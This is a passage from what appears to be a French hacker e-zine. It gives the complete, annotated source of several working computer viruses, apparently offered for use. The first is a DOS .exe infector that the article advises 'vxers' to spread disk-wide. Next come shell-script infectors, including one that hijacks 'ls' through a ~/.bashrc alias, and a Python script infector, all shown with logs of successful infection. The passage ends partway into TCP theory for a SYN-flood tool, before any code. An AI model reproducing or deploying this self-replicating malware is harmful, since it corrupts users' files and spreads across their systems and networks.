        lea  si,[bp+Def_IP]   ;si <- [bp+Def_IP] (source)
        mov  cx,4             ;cx <- 4
        rep  movsw            ;di[4] <- si[4]
        mov  ah,4e            ;ax <- 4eh (code de recherche)
        xor  cx,cx            ;cx <- 0
        lea  dx,[bp+exesig]   ;dx <- [bp+exesig] (fichier que nous recherchons, ici '*.exe')

------8<--------------------



Nos arguments de recherches placs dans les diffrents registres, nous
n'avons plus qu' lancer la boucle de recherche principale. C'est la
fonction principale de notre virus, aprs avoir trouver un fichier en
.exe, elle commence par le lire dans sa totalit en stockant son contenu
dans un buffer: header_exe, ensuite elle se contente de vrifier le format
du fichier par lecture  l'offset 00 de la chaine 'ZM' et la puret de ce
dernier par lecture de l'offset 12. Si le fichier est bien un .exe pure
(i.e si l'offset 12 de l'header ne contient pas la chaine 'X'), alors elle
appelle la routine SHEADER qui effectue une sauvegarde de l'header, puis
les deux routines CSIP et SIZE qui, respectivement, modifie diffrents
offsets de l'header et calcule la nouvelle taille de l'exe (concatner
avec le virus). Et enfin copie le virus  la fin du fichier et l'header
modifi au dbut de celui-ci.


------8<--------------------

Loop_cherche:
        int  21                              ;lance la recherche
        jc   End_loop                        ;erreur? recherche termine? on quitte
        mov  ax,3d02                         ;ax <- 3d02h
        lea  dx,[bp+DTA+1e]                  ;dx <- [bp+DTA+1e] (offset 1eh table DTA = nom du fichier)
        int  21                              ;on ouvre le fichier en lecture/criture
        mov  bx,ax                           ;bx <- handle du fichier
        mov  ah,3f                           ;ah <- 3fh
        mov  cx,1a                           ;cx <- 1ah (taille du fichier)
        lea  dx,[bp+header_exe]              ;dx <- [bp+header_exe]
        int  21                              ;on stocke le contenu du fichier dans le buffer header_exe
        cmp  word ptr [bp+header_exe],'ZM'   ;fichier exe?
        jne  close_file                      ;non on ferme le fichier
        cmp  byte ptr [bp+header_exe+12],'X' ;fichier dj infect?
        je   close_file                      ;oui on ferme le fichier
        call __SHEADER                       ;on appelle la routine SHEADER
        mov  ax,4202                         ;on se dplace au dbut du fichier
        xor  cx,cx
        xor  dx,dx
        int  21
        push ax dx                           ;empilement de ax et dx
        call __CSIP                          ;appel de la routine CSIP
        pop  dx ax                           ;dx <- dx, ax <- ax (taille du fichier non infect)
        call  __SIZE                         ;appel de la routine SIZE
        mov  ah,40                           ;ax <- 40h
        mov  cx,Fin-Virus                    ;cx <- offset Fin - offset virus (taille du virus)
        lea  dx,[bp+Virus]                   ;dx <- [bp+Virus]
        int  21                              ;on crit le virus  la fin du fichier
        mov  ax,4200                         ;dplacement au dbut du fichier
        xor  cx,cx
        xor  dx,dx
        int  21
        mov  ah,40
        mov  cx,1a
        lea  dx,[bp+header_exe]
        int  21                              ;criture de l'header modifi


------8<--------------------




L'infection du fichier exe actuellement ouvert termine, il nous faut
le refermet et continuer la recherche. En cas d'erreur, ou de fin de
recherche, on saute directement au label End_loop, qui restore la table
DTA d'origine.

------8<--------------------

Close_File:
        mov  ah,3e           ;ah <- 3eh (bx <- handle)
        int  21              ;fermeture du fichier

Continue:
        mov  ah,4f           ;ah <- 4fh
        jmp  Loop_cherche    ;continuer recherche

End_loop:
        pop  ds              ;adresse du segment PSP
        mov  dx,80           ;dx <- 80
        mov  ah,1a           ;ah <- 1ah
        int  21              ;restoration de la table DTA

------8<--------------------



La recherche termine, le segment de code doit tre remodifi de
faon  xcuter le code original du fichier hte. Nous effectuons
ensuite un far jump 0 New_CS:New_IP (ce qui  pour consquence de
rendre la main au fichier infect).

------8<--------------------

Hote_go:
        push ds
        pop  es                          ;es <- ds
        mov  ax,es                       ;ax <- es
        add  ax,10
        add  word ptr cs:[bp+New_CS],ax  ;reajuste l'ancien segment de code (sauvegard avant infection)
        cli
        add  ax,word ptr cs:[bp+New_SS]  ;reajuste l'ancien segment de pile (sauvegard avant infection)
        mov  ss,ax                       ;ss <- ax
        mov  sp,word ptr cs:[bp+New_SP]  ;on restore le pointeur de pile original
        sti

        db      0ea                      ;far jmp New_CS:New_IP
New_CS  dw      0
New_IP  dw      0
New_SP  dw      0
New_SS  dw      0


Def_CS  dw      0fff0
Def_IP  dw      0
Def_SP  dw      0
Def_SS  dw      0fff0

------8<--------------------



Bon  prsent tudions les diffrentes routines qui vont nous permettre
l'xcution du virus  l'ouverture du fichier hte dans de bonnes conditions.
Pour commencer la routine CSIP. Celle-ci s'occupe de la modification des diffrents
offsets de l'header du fichier a infecter. Les offsets 0Eh, 10h, 12h, 14h et 16h
sont modifis respectivement avec l'offset du nouveau segment de pile calcul en
paragraphes (SS=CS), la valeur 0FFFE (SP), 'X' caractre marqueur de l'infection
(plac dans le Negative checksum offset 12h), puis, la nouvelle premire instruction
 xcuter (la premire de notre virus) et enfin l'adresse de segment CS modifie.
Toutes ces valeurs sont calcules en effectuant diffrents calculs obtenus par
manipulation des mnmoniques arithmtiques (shl,shr) qui effectuent un dcalage
 droite ou  gauche de n octets, ce qui a pour rsultat de multiplier la valeur
place dans l'oprande source par une puissance de 2, correspondant au nombre
plac dans l'oprande de destination.


------8<--------------------

__CSIP:
        push ax                                 ;empile (ax <- taille du fichier hte)
        mov  ax,word ptr[bp+header_exe+8]       ;ax <- taille de l'header
        mov  cl,4                               ;cl <- 4 (2^4=32)
        shl  ax,cl                              ;conversion en bytes (ax*32)
        mov  cx,ax                              ;cx <- ax
        pop  ax                                 ;ax <- taille du fichier hte
        sub  ax,cx                              ;ax <- ax - cx
        sbb  dx,0
        mov  cl,0ch                             ;cx <- 12
        shl  dx,cl                              ;dx <- adresse de segment
        mov  cl,4                               ;cl <- 4
        push ax
        shr  ax,cl                              ;ax <- ax/4
        add  dx,ax                              ;dx <- dx + ax (nouveau CS)
        shl  ax,cl                              ;ax <- ax*4
        pop  cx
        sub  cx,ax                              ;cx <- cx - ax (nouveau IP)
        mov  word ptr [bp+header_exe+0Eh],dx    ;[bp+header_exe+0Eh] <- nouveau SS (= CS)
        mov  word ptr [bp+header_exe+10],0FFFE  ;[bp+header_exe+10] <- 0FFFE (SP)
        mov  byte ptr [bp+header_exe+12],'X'    ;[bp+header_exe+12] <- 'X' (marqueur d'infection)
        mov  word ptr [bp+header_exe+14],cx     ;[bp+header_exe+14] <- nouveau IP
        mov  word ptr [bp+header_exe+16],dx     ;[bp+header_exe+16] <- nouveau CS
        ret

------8<--------------------

La routine SIZE calcule la nouvelle taille du fichier hte infect (fichier hte et virus concatns),
en pages et en bytes, puis place  l'offset 04 du PE header le nombre de pages, et  l'offset 02 la
taille en byte du fichier hte infect.

------8<--------------------

__SIZE:
        push ax                                ;empilem (ax <- taille fichier hte)
        add  ax,Fin - Virus                    ;ax <- taille fichier infect
        adc  dx,0
        mov  cl,7                              ;cl <- 7 (2^7=128)
        shl  dx,cl                             ;dx <- dx*128
        mov  cl,9                              ;cl <- 9 (2^9=512)
        shr  ax,cl                             ;ax <- ax/512
        add  ax,dx                             ;ax <- ax + dx
        inc  ax
        mov  word ptr [bp+header_exe+04],ax    ;[bp+header_exe+04] <- nombre de pages
        pop  ax
        mov  dx,ax
        shr  ax,cl
        shl  ax,cl
        mov  dx,ax
        mov  word ptr [bp+header_exe+02],dx    ;[bp+header_exe+02] <- taille en bytes
        ret

------8<--------------------




Et enfin la routine SHEADER qui effectue une sauvegarde de l'header du
fichier hte non infect par copie des champs de celui-la allant tre
modifi (0Eh-SS, 10-SP, 14-IP, 16-CS), dans les buffers respectifs
Def_SS, Def_SP, Def_IP, Def_CS.

------8<--------------------

__SHEADER:
        mov  ax,word ptr [bp+header_exe+0Eh]
  	mov  word ptr [bp+Def_SS],ax           ;[bp+Def_SS] <- [bp+header_exe+0Eh]
        mov  ax,word ptr [bp+header_exe+10]
  	mov  word ptr [bp+Def_SP],ax           ;[bp+Def_SP] <- [bp+header_exe+12]
        mov  ax,word ptr [bp+header_exe+14]
  	mov  word ptr [bp+Def_IP],ax           ;[bp+Def_IP] <- [bp+header_exe+14]
        mov  ax,word ptr [bp+header_exe+16]
  	mov  word ptr [bp+Def_CS],ax           ;[bp+Def_CS] <- [bp+header_exe+16]
        ret

------8<--------------------









    III. Code source :
    __________________


------8<---------------------------------------------------------------------

;Gala by Li0n7
;current directory exe file format infector
;Salvador's not here.. Fuck! you gotta code your own AV!...
;... Gala rot in hell!!

.model tiny
.radix 16
.code

        org 100

Virus:
        push ds
        push cs cs
        pop  es ds
        call debut

debut:
        pop  bp
        sub  bp,offset debut

MDTA:
        lea  dx,[bp+DTA]
        mov  ah,1a
        int  21

Defaut:
        lea  di,[bp+New_IP]
        lea  si,[bp+Def_IP]
        mov  cx,4
        rep  movsw
        mov  ah,4e
        xor  cx,cx
        lea  dx,[bp+exesig]

Loop_cherche:
        int  21
        jc   End_loop
        mov  ax,3d02
        lea  dx,[bp+DTA+1e]
        int  21
        mov  bx,ax
        mov  ah,3f
        mov  cx,1a
        lea  dx,[bp+header_exe]
        int  21
        cmp  word ptr [bp+header_exe],'ZM'
        jne  close_file
        cmp  byte ptr [bp+header_exe+12],'X'
        je   close_file
        call __SHEADER
        mov  ax,4202
        xor  cx,cx
        xor  dx,dx
        int  21
        push ax dx
        call __CSIP
        pop  dx ax
        call  __SIZE
        mov  ah,40
        mov  cx,Fin-Virus
        lea  dx,[bp+Virus]
        int  21
        mov  ax,4200
        xor  cx,cx
        xor  dx,dx
        int  21
        mov  ah,40
        mov  cx,1a
        lea  dx,[bp+header_exe]
        int  21

Close_File:
        mov  ah,3e
        int  21

Continue:
        mov  ah,4f
        jmp  Loop_cherche

End_loop:
        pop  ds
        mov  dx,80
        mov  ah,1a
        int  21

Hote_go:
        push ds
        pop  es
        mov  ax,es
        add  ax,10
        add  word ptr cs:[bp+New_CS],ax
        cli
        add  ax,word ptr cs:[bp+New_SS]
        mov  ss,ax
        mov  sp,word ptr cs:[bp+New_SP]
        sti

        db      0ea
New_CS  dw      0
New_IP  dw      0
New_SP  dw      0
New_SS  dw      0


Def_CS  dw      0fff0
Def_IP  dw      0
Def_SP  dw      0
Def_SS  dw      0fff0

__CSIP:
        push ax
        mov  ax,word ptr[bp+header_exe+8]
        mov  cl,4
        shl  ax,cl
        mov  cx,ax
        pop  ax
        sub  ax,cx
        sbb  dx,0
        mov  cl,0ch
        shl  dx,cl
        mov  cl,4
        push ax
        shr  ax,cl
        add  dx,ax
        shl  ax,cl
        pop  cx
        sub  cx,ax
        mov  word ptr [bp+header_exe+0Eh],dx
        mov  word ptr [bp+header_exe+10],0FFFE
        mov  byte ptr [bp+header_exe+12],'X'
        mov  word ptr [bp+header_exe+14],cx
        mov  word ptr [bp+header_exe+16],dx
        ret

__SIZE:
        push ax
        add  ax,Fin - Virus
        adc  dx,0
        mov  cl,7
        shl  dx,cl
        mov  cl,9
        shr  ax,cl
        add  ax,dx
        inc  ax
        mov  word ptr [bp+header_exe+04],ax
        pop  ax
        mov  dx,ax
        shr  ax,cl
        shl  ax,cl
        mov  dx,ax
        mov  word ptr [bp+header_exe+02],dx
        ret

__SHEADER:
        mov  ax,word ptr [bp+header_exe+0Eh]
  	mov  word ptr [bp+Def_SS],ax
        mov  ax,word ptr [bp+header_exe+10]
  	mov  word ptr [bp+Def_SP],ax
        mov  ax,word ptr [bp+header_exe+14]
  	mov  word ptr [bp+Def_IP],ax
        mov  ax,word ptr [bp+header_exe+16]
  	mov  word ptr [bp+Def_CS],ax
        ret


exesig       db     '*.EXE',0
Fin:

header_exe   db      1a dup (?)
DTA:
End Virus

------8<---------------------------------------------------------------------





    V. Conclusion :
    _______________


L'infection d'un .exe se montre ainsi plus difficile que celle d'un .com.
Mais, Le format exe tant un poil moins complexe que le format elf, les
virus ont encore de beaux jours devant eux sur les plate-formes windows.
Le code de ce virus peut tre une fois encore largment optimis pour se
voir greffer un moteur de polymorphie par exemple ou encore une routine
de restoration de date de modification des fichiers infects, en consquence,
la furtivit du virus s'en verra grandement amliore! Notez que ce virus
n'infecte que les fichiers du rpertoire courrant, cet atavisme hrit du
com infector peut tre contourn en tendant le pouvoir d'infection du
microbe sur tout le disque, cette fonction est encore trs simple 
programmer, avis aux vxers !

Pour assembler:
>tasm gala.asm
Pour linker:
>tlink gala.obj
>gala






















---------------------------------------------------------------------------------------
XIII.           L'attaque des scripts : pisode 2                             Emper0r
---------------------------------------------------------------------------------------



[ Sommaire ]

  I/ Introduction.

  II/ Optimisation du virus c0r0na.

  III/ Fonction permettant de devenir rsident.
         A/ The fameuse fonction
         B/ Kr0: Le code complet
         C/ Les tests
         D/ Conclusion

  IV/ Infection des scripts python.

  V/ A venir






    I. Introduction :
    _________________


Cet article fait suite  mon texte sur l'infection des scripts sous
linux, parut dans IOC#4.

Voici les dtails que je voulais ajouter :

     o Quelques optimisations des prcdent virus.
     o Une mthode pour tre d'une certaine faon rsident
     o Infection des scripts python

Je dit 'd'une certaine  faon rsident' car le virus n'est pas
vraiment rsident en mmoire, on dtourne une fonction pour l'appeler
 chaque fois.






    II. Optimisation du virus c0r0na :
    __________________________________


Voici la 2me version de mon virus c0r0na, j'ai trouv quelques nouvelles
techniques pour l'optimiser. L'article commene par ce code car il va nous
servir pour la suite:


Virus parasite c0r0na2 infecteur de shell scripts:

----8<-------------------------------------------------------------------------

#!/bin/sh
#c0r0na2
for f in *
do
if (file $f |grep shell && [ -f $f -a -w $f ] && ! head -n 2 $f |grep c0r0na) >/dev/null;then
cat $f >.a
head -n 11 $0 >$f
cat .a >>$f
rm -f .a
fi;done

----8<-------------------------------------------------------------------------



Petite explication sur le test pour ceux qui non pas l'habitude des shell
scripts:

if                              #Si
(file $f |grep shell            #le fichier trouver '$f' est un shell script
&&                              #et
[ -f $f -a -w $f ]              #qu'il est un fichier accessible en criture
&&                              #et
! head -n 2 $f |grep c0r0na)    #qu'il ne contient pas de signature virale
>/dev/null;                     #(Redirection des sortie des grep)
then                            #Alors: ...



Amlioration de cette version:

     - 11 lignes au lieu de 18
     - Cration d'un seul fichier temporaire au lieu de deux (gain de rapidit)
     - 187 octets au lieu de 239

Quasiment toute l'optimisation vient du fait que tous les tests sont
effectus en une seule fois. Je pense qu'il y a peut tre encore moyen
de l'amliorer en supprimant la cration fichier temporaire qui sert 
la sauvegarde du script original.


Pour d'ventuels tests faites a sur votre bcane...






    III. Fonction permettant de devenir rsident :
    ______________________________________________


Dans mon prcdent article, ce qui m'a pos le plus de problmes c'tait
de trouver comment traverser les rpertoires pour que mon virus puisse se
propager sur tout le disque.

Ne trouvant pas la solution, quelques recherches sur le net m'ont amenes
sur un article de ThreaT (www.chez.com/mvm) qui a cod une sorte de virus
ressemblant a c0r0na. Le sien traverse trs bien les rpertoires, et sa
technique est astucieuse.

Il obtient une sorte de mode pseudo-rsident en dtournent une/des commandes.




        A/ The fameuse fonction :
        _________________________


Grce aux alias on peut dtourner une commande par ex la commande ls. Les
alias sont crits dans le ~/.bashrc et fonctionnent de cette faon :

alias ls='commande-a-executer'

Donc ce que nous allons faire c'est dtourner la commande ls vers une souche
virale cache  un endroit et ensuite excuter le vrai /bin/ls. Voici la petite
fonction qui permet cela et qui sera ajouter a mon virus c0r0na.


---------------8<--------------------------------------------------------------

#!/bin/sh
#Kr0                                  #nouveau nom, nouvelle signature ;)

if [ ! -f /tmp/.vx ]; then            #Teste si la souche virale existe
   head -n 25 $0 > /tmp/.vx           #sinon on la cre
   echo "/bin/ls \$*" >> /tmp/.vx     #Ajout de la commande pour excuter le ls
   chmod +x /tmp/.vx                  #Cette souche doit tre excutable
fi

if ! grep /tmp/.vx ~/.bashrc > /dev/null; then #Teste si commande ls dtourn
   echo "alias ls='/tmp/.vx'" >> ~/.bashrc     #sinon on la dtourne
fi

----------------8<-------------------------------------------------------------








         B/ Kr0: Le code complet :
         _________________________


Virus parasite Kr0 pseudo-rsident infecteur de shell scripts, copyleft Emper0r :

----8<-------------------------------------------------------------------------

#!/bin/sh
#Kr0
v=/tmp/.vx
if (! grep $v ~/.bashrc && [ ! -f $v ]) >/dev/null;then
(head -n 15 $0 && echo "/bin/ls \$*") >$v
chmod +x $v
echo "alias ls='$v'" >>~/.bashrc;fi
for f in *
do
if (file $f |grep shell && [ -f $f -a -w $f ] && ! head -n 2 $f |grep Kr0) >/dev/null;then
cat $f >.a
head -n 15 $0 > $f
cat .a >>$f
rm -f .a
fi;done

----8<-------------------------------------------------------------------------






          C/ Les tests
          ____________


Pour mes tests je cre 2 rpertoires de test, 'test1' et 'test2' contenant
chacun 10 scripts cobaye.


[emper0r@laptop test1]$ ls -al
total 48
drwxr-xr-x    2 emper0r  emper0r      4096 sep  6 15:26 ./
drwxr-xr-x    4 emper0r  emper0r      4096 sep  6 15:24 ../
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t1*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t2*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t3*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t4*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t5*
-rwxr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t6*
----------    1 emper0r  emper0r        34 sep  6 15:26 t7   <- chmod 000 t7
-r-xr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t8*  <- chmod -w t8
----------    1 emper0r  emper0r        34 sep  6 15:26 t9   <- chmod 000 t9



le rpertoire test2 est identique, j'ai modifi quelques droits de fichier pour
vrifier qu'aucun message d'erreurs apparat.

Aller on lane ce virus :
(Attention si vous voulez le tester alors faite le sur votre bcane,
et uniquement si vous savez ce que vous faites. N'oubliez pas de vous
dsinfecter aprs les tests, mme si le virus ne prsente aucun danger
direct.)


[emper0r@laptop etudeioc5]$ ./Kr0
[emper0r@laptop etudeioc5]$ cat ~/.bashrc
# .bashrc

# User specific aliases and functions

# Source global definitions
if [ -f /etc/bashrc ]; then
        . /etc/bashrc
fi

alias ls='/tmp/.vx'                      <- parfait la commande ls est dtourn


En fessant un cat /tmp/.vx on peut voir que le fichier contient bien notre souche
virale et le trs important:
/bin/ls $* en dernire ligne, ce qui permet d'excuter la vritable commande ls
tout en gardant les paramtres.

Pour que l'alias soit pris en compte, je doit faire un exit pour delogger.
Je me relog et vais dans mes rpertoires de test y faire un petit 'ls' pour
voir si tout ce passe comme prvu.


[emper0r@laptop test1]$ ls -al
total 48
drwxr-xr-x    2 emper0r  emper0r      4096 sep  7 03:40 .
drwxr-xr-x    4 emper0r  emper0r      4096 sep  6 15:55 ..
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t1
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t2
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t3
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t4
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t5
-rwxr-xr-x    1 emper0r  emper0r       370 sep  7 03:40 t6
----------    1 emper0r  emper0r        34 sep  6 15:26 t7
-r-xr-xr-x    1 emper0r  emper0r        34 sep  6 15:26 t8
----------    1 emper0r  emper0r        34 sep  6 15:26 t9



Hh c'est pas beau ca ?! juste en fessant un 'ls' tous les scripts accessible
en criture on t parfaitement infects, le ls est bien excut avec les
paramtres. En copiant et excutant un script infect du rpertoire test1 dans
test2, je voit, a l'aide d'un cat, que le script fonctionne toujours et infecte
bien le dossier.

Aucun message d'erreur, les paramtres passs au ls ont bien fonctionns et les
scripts infect fonctionne toujours correctement.

Tout ca en simplement 15 lignes et 336 octets !!

Si quelqu'un sait comment encore amliorer ca: mail emper0r@secureroot.com.
Si c'est juste pour gagner 3 octets en supprimant quelques espaces c'est pas
la peine ;)







        D/ Conclusions :
        ________________


Inconvnient de cette technique, c'est pas trs discret !

        - Ralentit un peu le 'ls' sur de petite bcane ou dans
          de gros dossiers.

        - Si l'alias du 'ls' est dcouvert dans le ~/.bashrc c'est
          foutu

        - Une souche virale cache avec son chemin crit dans le ~/.bashrc


Mais cette fois au moins notre virus peut se propager sur tout le disque et
sur le rseau (ex: partage NFS) juste pas un simple ls.


Je ne vois pas d'autre solution pour faire la mme chose de faon
plus discrte, sinon il faudrait tre root... Si vous avez une autre
solution mme totalement diffrente ou mme encore moins discrte je
suis quand mme preneur...






    IV. Infection des scripts python :
    __________________________________


Voici encore un langage de scripts ; celui-ci tourne sous linux/unix
windows & MacOS. Je ne suis vraiment pas un pro du python. Ce virus a
t crit en une nuit, avec une mini doc sur le python, alors que
je n'avait jamais fait de python avant.

Donc soyez comprhensifs si mon code est pas terrible, merci ;)


Virus parasite bUd infecteur de scripts python, copyleft Emper0r:

----8<-------------------------------------------------------------------------

#!/usr/bin/python
#bUd
import  os, sys
fileList = []
dir = './'
fileList = os.listdir(dir)          #liste les fichiers du rpertoire courant
for file in fileList:               #pour chaque fichiers
        try:
                hdl=open(file, 'r+')                 #on essaye de l'ouvrir
                pyt=hdl.readline()
                if pyt == '#!/usr/bin/python\n':     #teste si c'est du python
                        signature = hdl.readline()
                        if signature != '#bUd\n':    #test de signature
                                hdl.seek(0,0)
                                f=hdl.read()
                                hdl2=open(sys.argv[0],'r')#ouvre script courant
                                hdl.seek(0,0)
                                a=0
                                while a != 30:     #boucle recopie ligne a ligne
                                        f2=hdl2.readline()
                                        hdl.write(f2)
                                        a = a + 1
                                hdl2.close()
                                hdl.close()
                                hdl=open(file, 'a')
                                hdl.write(f) #recopie script original en suivant
                hdl.close
        except:            #si on a chou on passe au suivant
                pass


----8<-------------------------------------------------------------------------


Ce virus non optimis fait 536 octets, mme en l'optimisant je ne pense pas que
l'on puisse arriver  le faire aussi petit que son quivalent en Perl, et encore
moins en bash.

Pour les tests je vais me faire un gnrateur de scripts cobaye :
(Marre de faire ces scripts a la main :) )


#!/bin/sh
#gnrateur de scripts cobaye
#./gen NomDesFichiers phraseAAfficher NombreDefichiersACre
x=1
while [ $x -le $3 ]
do
echo "#!/usr/bin/python" > $1$x
echo "print \"$2\"" >> $1$x
chmod +x $1$x
x=`expr $x + 1`
done




[ Fonctionnement ]

[emper0r@laptop python]$ ls
bUd*  gen*  vx/

[emper0r@laptop etudeioc5]$ ./gen cobaye je-suis-un-script-cobaye 6

[emper0r@laptop python]$ ls
cobaye1*  cobaye2*  cobaye3*  cobaye4*  cobaye5*  cobaye6*  bUd*  gen*  vx/

[emper0r@laptop python]$ ./cobaye1
je-suis-un-script-cobaye

[emper0r@laptop python]$

Le premier argument est le nom des fichiers cre, ensuite la phrase que le
script cobaye peut afficher, puis le nombre de scripts a gnrer.



[emper0r@laptop python]$ ls -al
total 44
drwxr-xr-x    3 emper0r  emper0r      4096 sep 11 16:00 ./
drwxr-xr-x    5 emper0r  emper0r      4096 sep 10 00:35 ../
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye1*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye2*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye3*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye4*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye5*
-rwxr-xr-x    1 emper0r  emper0r        51 sep 11 16:00 cobaye6*
-rwxr-xr-x    1 emper0r  emper0r       536 sep 11 15:47 bUd*
-rwxr-xr-x    1 emper0r  emper0r       133 sep 11 15:44 gen*
drwxr-xr-x    2 emper0r  emper0r      4096 sep 11 15:17 vx/

[emper0r@laptop python]$ chmod 000 cobaye1

[emper0r@laptop python]$ ./bUd
[emper0r@laptop python]$ ls -al
total 44
drwxr-xr-x    3 emper0r  emper0r      4096 sep 11 16:00 ./
drwxr-xr-x    5 emper0r  emper0r      4096 sep 10 00:35 ../
----------    1 emper0r  emper0r        51 sep 11 16:00 cobaye1
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye2*
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye3*
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye4*
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye5*
-rwxr-xr-x    1 emper0r  emper0r       583 sep 11 16:01 cobaye6*
-rwxr-xr-x    1 emper0r  emper0r       536 sep 11 15:47 bUd*
-rwxr-xr-x    1 emper0r  emper0r       133 sep 11 15:44 gen*
drwxr-xr-x    2 emper0r  emper0r      4096 sep 11 15:17 vx/


Voila a fonctionne ; le virus a infect les scripts infectables,
n'a pas touch aux autres et n'a pas gnr de message d'erreur.
Ces scripts infects fonctionnent toujours et sont  leur tour
capables d'infecter d'autre script python.

Maintenant pour ceux qui veulent s'amuser on peut ajouter cette
souche, en la modifiant un peu,  mon virus h0egaard3n(voir IOC#4)
pour faire une virus capable d'infecter 3 langages a la fois :)




    V. A venir :
    ____________

Par manque de temps je n'ai pas pu inclure a cette article un
moteur polymorphe, encours de ralisation, pour les virii perl.
Pour ceux que ca interesse il sera normalement trs prochainement
dispo sur mon site (www.arbornet.org/~emper0r). J'ai aussi quelques
ides pour amliorer ce moteur polymorphe et faire un petit
mtamorphique :)




           << May The Force Be With You... >>















---------------------------------------------------------------------------------------
XIV.             Programmation d'un TCP SYN FLOODER                             Li0n7
---------------------------------------------------------------------------------------




[ Introduction ]

Nous revoila partis pour le continuum de la srie d'articles ddis aux
DoS, nouvelle mouture d'IOC oblige ! Dans le numro prcdent, nous avions
tudi le fonctionnement et la programmation d'un ICMP smurfer, cette fois-
ci nous nous intrsserons  un outil plus en vogue, le TCP SYN FLOODER.
Nous allons passer en revue les diffrents aspects de ce genre d'attaque,
ptit prog  l'appui, avec puration de longues thories plus que futiles
(est-ce un plonasme?!)!




[ Sommaire ]

I.  Protocole TCP
II. Datagramme TCP
III.Programmation du flooder
IV. Implmentation
V.  Code source






    I. Le Protocole TCP :
    _____________________


Pour une description quasi-exhaustive du protocole TCP et de son fonction-
-nement, reportez-vous  l'issue #1. Je vais me contenter ici de rappeler
les points les plus importants, caractristiques de ce protocole. TCP permet
l'envoi de dones sur un rseau entre deux htes distants. Ce dernier,
articul autour d'une architecture multi-couches, se situe au-dessus du
protocole IP, et entretient un contact permanent lui, ce qui lui permet
d'envoyer et de recevoir des segments d'informations de tailles variables
(voir description des champs de l'header). Il faut savoir que le protocole
TCP dpend de l'Internet Protocol, en effet celui-ci s'occupe de la fragmen-
-tation et de l'organisation des paquets TCP reus lors de la traverse d'un
rseau quelconque. Nous allons voir ci-dessous que le protocole TCP prend en
charge une connexion dit "permanente" entre deux htes rseaux distants.

L'tablissement de cette connection se divise en trois temps (three ways hand
shake), la machine A envoie un SYN  la machine B, la machine B rpond par un
SYN+ACK (ou RST, voir plus bas les bits de contrle), puis la machine A clt
le balai en envoyant un paquet porteur du bit ACK. Voici l'organisation des
couches protocoles :

              Protocol layering
         ^ +---------------------+
         | |  Niveaux suprieurs |
         | +---------------------+
         | |        TCP          |\
         ^ +---------------------+ >- communication
         | |        IP           |/
         | +---------------------+
         | |Transmissions rseaux| <- couche physique
         ^ +---------------------+



Deux derniers points importants : lorsqu'on parle de segment fragmentation,
c'est en fait au clivage d'une trame unique en plusieurs paquets diffrents
de taille moindre que l'on mentionne. Cette trame est ainsi dcoupe en petits
paquets d'une taille dfinie sur l'header (champs Options, type 3, voir ci-dessous).
C'est l ou les subtilits commencent. Pour viter toute perte quelquequ'elle
soit, et pour permettre aux paquets de suivre des chemins diffrents, l'encom-
-brement des rseaux (et d'autres facteurs), un numro de squence leur est
attribu avant envoi. C'est ainsi que lors de leur rcption, ils sont rordon-
-ns pour former la trame complte originale, et cela permet alors une remission
des paquets perdus du fait qu' chaque numro de squence correspond un numro
d'acquittement qui fonctionne en parallle avec son homologue.

Nous allons maintenant survoler la scurit du protocole TCP, la diffrence avec
celle de l'IP est flagrante, diffrence rsultant du fait qu'un maintien de la
connection est effectu. On dira alors que le protocole IP est "non-connect",
ou fonctionne en mode datagrammes, et que TCP est ainsi "connect" (en ralit
il ne fonctionne qu'en "semi-connect", mais ceci ne nous intrsse pas ici).
Vous vous demandez alors comment vrifier la rlle source d'un paquet autre
que par la lecture du champs source de l'header TCP? C'est ici qu'intervient
l'ISN (Incrementation of Sequence Numbers). Au dmarrage de la machine, l'ISN
est initialis  1. A chaque seconde coule, en ralit  chaque saut ralis
par le paquet, l'ISN s'incrmente de 128 000 et  chaque connexion tablie il
s'incrmente galement de 64 000. Lors d'un dtournement de session, tel qu'un
IP Spoofing, l'attaquant doit d'une part rcuprer le dernier numro de squence
de la machine  dtourner puis tablir des statistiques sur le temps de tranfert
pour enfin en dduire le taux d'incrmentation qu'il va faire subir aux numros
de squences de ses paquets pirates. Nous allons passer en revue les diffrents
champs constituant le datagramme TCP.



    II. Datagramme TCP :
    ____________________



    0                              16                               31
    +-------------------------------+-------------------------------+
    |         Port Source (16)      |      Port Desination (16)     |
    +---------------------------------------------------------------+
    |                      Numro de squence (32)                  |
    +---------------------------------------------------------------+
    |                      Accus de rcption (32)                 |
    +---------------------------------------------------------------+
    |  Data(4)| Rserv |U|A|P|R|S|F|        Fentre (Window) (16)  |
    | Offset  |  (6)    | | | | | | |                               |
    +---------------------------------------------------------------+
    |           Checksum (16)       |     Pointeur URG_DATAS (16)   |
    +---------------------------------------------------------------+
    |            Options (variable) |         Padding (variable)    |
    +---------------------------------------------------------------+
    |                            DONNEES                            |
    +-------------------------------+-------------------------------+



    Port source: Le port duquel est envoy la trame.

    Port destination: Le port du destinataire sur lequel il recevra
                       sa trame rseau.

    Numro de squence: Propre au protocole TCP, un numro est attribu
                          chaque paquet formant ladite trame. Une fois
                         arrivs sur l'hte distant, ils sont rordonns
